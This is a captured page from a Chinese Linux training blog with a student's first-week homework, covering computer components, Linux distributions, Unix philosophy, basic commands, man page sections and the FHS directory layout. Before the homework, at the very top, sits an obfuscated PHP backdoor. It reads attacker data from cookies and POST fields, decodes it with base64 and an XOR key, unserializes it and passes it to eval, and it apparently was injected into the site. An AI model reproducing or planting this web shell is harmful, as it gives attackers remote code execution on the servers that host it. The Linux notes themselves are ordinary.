$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期-第一周课程作业 | Linux运维部落

马哥教育网络班21期-第一周课程作业

1.描述计算机的组成及其功能。

硬件类

²  控制器:是整个计算机的中枢神经,其功能是对程序规定的控制信息进行解释,根据其要求进行控制,调度程序、数据、地址,协调计算机各部分工作及内存与外设的访问等。

²  运算器:运算器的功能是对数据进行各种算术运算和逻辑运算,即对数据进行加工处理。

²  存储器:存储器的功能是存储程序、数据和各种信号、命令等信息,并在需要时提供这些信息。

通常把控制器与运算器合称为中央处理器(Central Processing Unit-CPU)。它是计算机的核心部件。它的性能,主要是工作速度和计算精度,对机器的整体性能有全面的影响。

²  输入:输入设备是计算机的重要组成部分,输入设备与输出设备合称为外部设备,输入设备的作用是将程序、原始数据、文字、字符、控制命令或现场采集的数据等信息输入到计算机。常见的输入设备有键盘、鼠标器等。

²   输出:输出设备与输入设备同样是计算机的重要组成部分,它把计算机的中间结果或最后结果、机内的各种数据符号及文字或各种控制信号等信息输出出来。常用的输出设备有显示器、打印机等。

软件类

计算机的软件类也就是俗称的操作系统(Operating System,简称OS),是计算机系统中负责支撑应用程序运行环境以及用户操作环境的系统软件,同时也是计算机系统的核心与基石。它的职责常包括对硬件的直接监管、对各种计算资源(如内存、处理器时间等)的管理、以及提供诸如作业管理之类的面向应用程序的服务等等。它在整个计算机系统中具有承上启下的地位。

比较常用的操作系统

²  Windows系列操作系统
由微软公司生产;

²  Unix类操作系统
SOLARIS,BSD系列(FREEBSDopenbsdnetbsdpcbsd);

²  Linux类操作系统
UBUNTUsuse linuxfedora,等

²  Mac操作系统
由苹果公司生产。

 

2、按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。

三大主流发行版:

ü  Slackware:还有基于Slackware的二次发行版SUSE

ü  Redhat:包括RHEL(Redhat Enterprise Linux,商业公司维护的发行版本,收费版本,每18个月发行一个新版本)Fedora(由原来的Redhat桌面版本发展而来,社区组织维护的发行版本,免费版本,每6个月发行一个新版本 )CentOS(兼容RHEL的格式,免费)

                                                                 

ü  Debian,包括DebianUbuntu等。Debian是社区类Linux的典范,是迄今为止最遵循GNU规范的Linux系统。以及基于 Ubuntu 发行的Linux Mint。他继承了 Ubuntu 的众多优点,同时也在 Ubuntu 的基础上加入很多自己优秀的特性。

   除了三大主流发行版之外还有一些比较常见的版本,比如Linux世界最年轻的发行版本Gentoo,正因为年轻,所以能吸取在她之前的所有发行版本的优点。比如Arch Linux(或称Arch),一种以轻量简洁为设计理念的Linux发行版。

 

3、描述Linux的哲学思想,并按照自己的理解对其进行解释性描述。

²  一切皆文件

把几乎所有资源,包括硬件设备都组织为文件格式;

²  由众多单一目的小程序组成;一个程序只实现一个功能,而且要做好

组合小程序完成复杂任务;

²  尽量避免跟用户交互

目标:实现脚本编程,以自动完成某些功能;

²  使用纯文本文件保存配置信息

目标:一款使用的文本编程器即能完成系统配置工作;

 

4、说明Linux系统上命令的使用格式;详细介绍ifconfigechottystartxexportpwdhistoryshutdownpoweroffreboothwclockdate命令的使用,并配合相应的示例来阐述。

 

ü  基本的命令使用格式:

   COMMAND [OPTIONS…] [ARGUMENTS…]

          选项:用于启用或关闭命令的某个或某些功能;

                            短选项:-c, 例如:-l, -h

                            多个短选项可命令使用,例如-l -h, 可写作-lh;

                            长选项:–word,例如:–long, –human-readable

参数:命令的作用对象

                            向命令提供数据;

ifconfig

显示网络配置信息 

                                              

 if.png

echo

用在脚本语言和批处理文件中来在标准输出或者文件中显示一行文本或者字符串。

-n: 禁止自动添加换行符号;

-e: 允许使用转义符;

  \n: 换行

\t: 制表符

echo "$VAR_NAME": 变量会替换,双引号表弱引用

         echo '$VAR_NAME': 变量不会替换,强引用

tty

打印连接到标准输入的终端的文件名

tty.png

startx

启动图形界面

export

        将shell变量输出为环境变量,或者将shell函数输出为环境变量。

        export.png        

pwd

显示当前位置

pwd.png

history

显示或修改命令历史

-c:清空命令历史

-a: 手动追加当前会话缓冲区的命令历史至历史文件中;

-d: 删除历史中指定的命令;(使用编号指定)


history #: 显示历史中最近的#条命令;


快速调用历史中的命令:

!#: 重复执行第#条指令;

!!: 重复执行上一条

!string:最近一个以指定字符串开始的命令

使用上下箭头查看命令

 

调用上一条命令的最后一个参数:

!$:

ESC, . 先后

Alt+.  一起

 

History的环境变量:

HISTSIZE:命令历史记录的条数;

HISTFILE:~/.bash_history;

HISTFILESIZE:命令历史文件记录历史的条数;

         控制命令历史的记录方式:环境变量:HISTCONTROL

                                     ignoredups:忽略重复的命令;连续且相同方为“重复”;

                                     ignorespace:忽略所有以空白开头的命令;

                                     ignoreboth:ignoredups, ignorespace;上述俩者皆生效

修改环境变量值的方式:export 变量名="值"

         变量赋值:把赋值符号后面的数据存储于变量名指向内存空间;

e.g: export HISTCONTROL=“ignorespace”( 只对当前shell进程有效)

 

shutdown

-r: reboot

-h: halt

-c:cancel

+TIME:

now: 立刻

+m: 相对时间表示法,从命令提交开始多久之后;例如 +3;

                     hh:mm: 绝对时间表示,指明具体时间;

poweroff

用来关闭计算机操作系统并且切断系统电源。

reboot

重启操作

    -f:强制关机

        -p:切断电源

hwclock

可以查看当前的硬件日期和时间。

在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。

 -s, –hctosys:设置时间要依赖于硬件时间

        -w, –systohc:设置时间要依赖于操作系统时间

date

显示或设置系统时间与日期。

<+时间日期格式>:指定显示时使用的日期时间格式。

      date.png

以date [MMDDhhmm[[CC]YY][.ss]]:直接设置

       MM: 月分

       DD:几号

       hh: 小时

       mm: 分钟

       YY: 两位年份

       CCYY: 四位年份

       ss: 秒钟

5、如何在Linux系统上获取命令的帮助信息,请详细列出,并描述man文档的章节是如何划分的。

a)         获取命令的帮助信息

内部命令:

                   # help COMMAND

外部命令:

                   (1) # COMMAND –help

                            # COMMAND -h

                   (2) 使用手册(manual)

                            # man COMMAND

                   (3) 信息页

                            # info COMMAND

                   (4) 程序自身的帮助文档

                            README

                            INSTALL

                            ChangeLog

                   (5) 程序官方文档

                            官方站点:Documentation

                   (6) 发行版的官方文档

                   (7) Google

b)         man文档的章节的划分

手册页存放:/usr/share/man

man1 … man8

(所有手册都是压缩存放的例如 man ls  就是找到man1里的ls1.gz这个压缩文件 对他进行解压并显示的过程)

         man1: 用户命令     

         man2: 系统调用

         man3: C库调用

         man4: 设备文件及特殊文件

         man5: 配置文件格式

         man6: 游戏

         man7: 杂项

         man8: 管理类的命令

 

注意:有些关键字在不止一个章节中存在帮助手册;

         要查看指定章节中的手册:man # COMMAND  (#是数字)

   例如 read命令 

        whatis read 显示read在不同章节中存在帮助手册

           man 2 read  即可查看在章节2中的read相关帮助

 

6、请罗列Linux发行版的基础目录名称命名法则及功用规定

LSB, FHS: (FileSystem Heirachy Standard)

         根据FHS的原则,无论发行版,命名法则一致)

Ø  /boot:引导文件存放目录,内核文件(vmlinuz)、引导加载器(bootloader, grub)都存放于此目录;(独立的分区)

Ø  /bin:供所有用户使用的基本命令;不能关联至独立分区,OS启动即会用到的程序;

Ø  /sbin:管理类的基本命令;不能关联至独立分区,OS启动即会用到的程序;

Ø  /lib:基本共享库文件,以及内核模块文件(/lib/modules);

Ø  /lib64:专用于x86_64系统上的辅助共享库文件存放位置;

Ø  /etc:配置文件目录(纯文本文件);

                 /etc/opt (opt下的应用程序提供配置程序)     

                 /etc/X11  (专门为X协议上的图形界面)

                  /etc/sgml 

                  /etc/xml

Ø  /home/USERNAME:普通用户家目录;

Ø  /root:管理员的家目录;(有些发行版没有管理员的家目录)

Ø  /media:便携式移动设备挂载点;

                            cdrom(创建这样的目录用来关联cd)

                            usb

Ø  /mnt:临时文件系统挂载点;

Ø  /dev:设备文件及特殊文件存储位置;

                            b: block device,随机访问

                            c: character device,线性访问

Ø  /opt:第三方应用程序的安装位置;(附件类附加类)

Ø  /srv:系统上运行的服务用到的数据;(中间数据)

Ø  /tmp:临时文件存储位置;

  以上目录都是系统运行必须用到的目录 除了boot和home之外都不是不能关联到独立分区上的

Ø  /usr: universal shared, read-only data;(全局共享只读数据)

                            bin: 保证系统拥有完整功能而提供的应用程序;

                            sbin:通常管理员才有权限运行

                            lib:

                            lib64:

                            include: C程序的头文件(header files);

                            share:结构化独立的数据,例如doc, man等;

                            local:第三方应用程序的安装位置;(可以关联至完全独立的分区上)

                                     bin, sbin, lib, lib64, etc, share

 

Ø  /var: variable data files(可变数据文件)

                            cache: 应用程序缓存数据目录;

                            lib: 应用程序状态信息数据;

                            local:专用于为/usr/local下的应用程序存储可变数据;

                            lock: 锁文件

                            log: 日志目录及文件;

                            opt: 专用于为/opt下的应用程序存储可变数据;

                            run: 运行中的进程相关的数据;通常用于存储进程的pid文件;

                            spool: 应用程序数据池;(缓冲池)

                            tmp: 保存系统两次重启之间产生的临时数据;

(伪文件系统 虚拟文件系统)(也是直接在根文件之下的)

Ø  /proc: 用于输出内核与进程信息相关的虚拟文件系统;

Ø  /sys:用于输出当前系统上硬件设备相关信息的虚拟文件系统;

Ø  /selinux: security enhanced Linux,selinux相关的安全策略等信息的存储位置;

原创文章,作者:lelex,如若转载,请注明出处:http://www.178linux.com/21136

(0)
上一篇 2016-07-02 22:42
下一篇 2016-07-04 11:27

相关推荐

  • bash的重定向

    一、简介         bash的数据流重定向(redirect)是将程序的执结果重新定向到另一文件或者设备。或者把一文件重定向给一程序作为数据来源。默认情况下,命令的执行结果显示在屏幕上。文件系统中,分为:标准输入,标准输出,错误输出。 二、用法   &n…

    Linux干货 2015-08-11
  • 马哥教育 — 第三周作业

    1.列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可 2. 取出最后登录到当前系统的用户的相关信息 3. 取出当前系统上被用户当作其默认shell的最多的那个shell 4.将/etc/passwd中的第三个字段数字最大的后10个用户的信息全部改为大写后保存至/tmp/maxusers.txt文件中 5. 取出当前主机的i…

    2018-05-29
  • linux中的vim

    什么是vim:     Linux 在命令行下的文本编辑器,很多个别软件的编辑接口都会主动调用vim,所以在 Linux 的系统中使用文字编辑器来编辑你的Linux参数配置文件,在 Linux 的世界中,绝大部分的配置文件都是以 ASCII 的纯文本形态存在,因此利用简单的文字编辑软件就能够修改设置.所有的Unix L…

    Linux干货 2016-08-11
  • useradd的学习小结

    1、作用 创建一个新的用户账号或者更新创建用户时的默认设置。 2、语法 有两种语法格式,第一种是创建新用户时,为新用户设置属性,而不完全使用/etc/default/useradd默认设置的内容;第二种是设置/etc/default/useradd的内容,即设置创建新用户时,新用户具有的默认属性。 (1)useradd [选项 属性] 用户名 如果不加选项,…

    2017-07-22
  • 日志分析工具Awstats实战之Nginx篇-分析结果动态化

    上一篇博文“分析工具Awstats实战之Nginx篇-分析结果静态化”介绍了如何将awstats的日志分析信息用静态页面来进行显示,不过显示效果肯定没有动态的好啦。本篇博文将带大家一起来部署动态的分析结果查阅。 环境: CentOS 6.4 ip:192.168.1.113 域名:www.sunsky.com(server和client都通过hos…

    Linux干货 2016-08-15
  • Openssl加密解密原理+CA自建实现

     Openssl加密解密原理+CA自建实现     前言 互联网的惊人发展使企业和消费者都感到非常兴奋,它正改变着我们的生活和工作方式。但是,互联网的安全程度如何——尤其是在通过它发送机密信息时的安全性——已经成为人们关心的主要问题。随着时代的发展,加密原理也不断地在更新换代. 数据的加密目前已广泛地运用于战争,商业活…

    Linux干货 2015-05-25

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-04 13:56

    写的很好,排版可以多关注一下,加油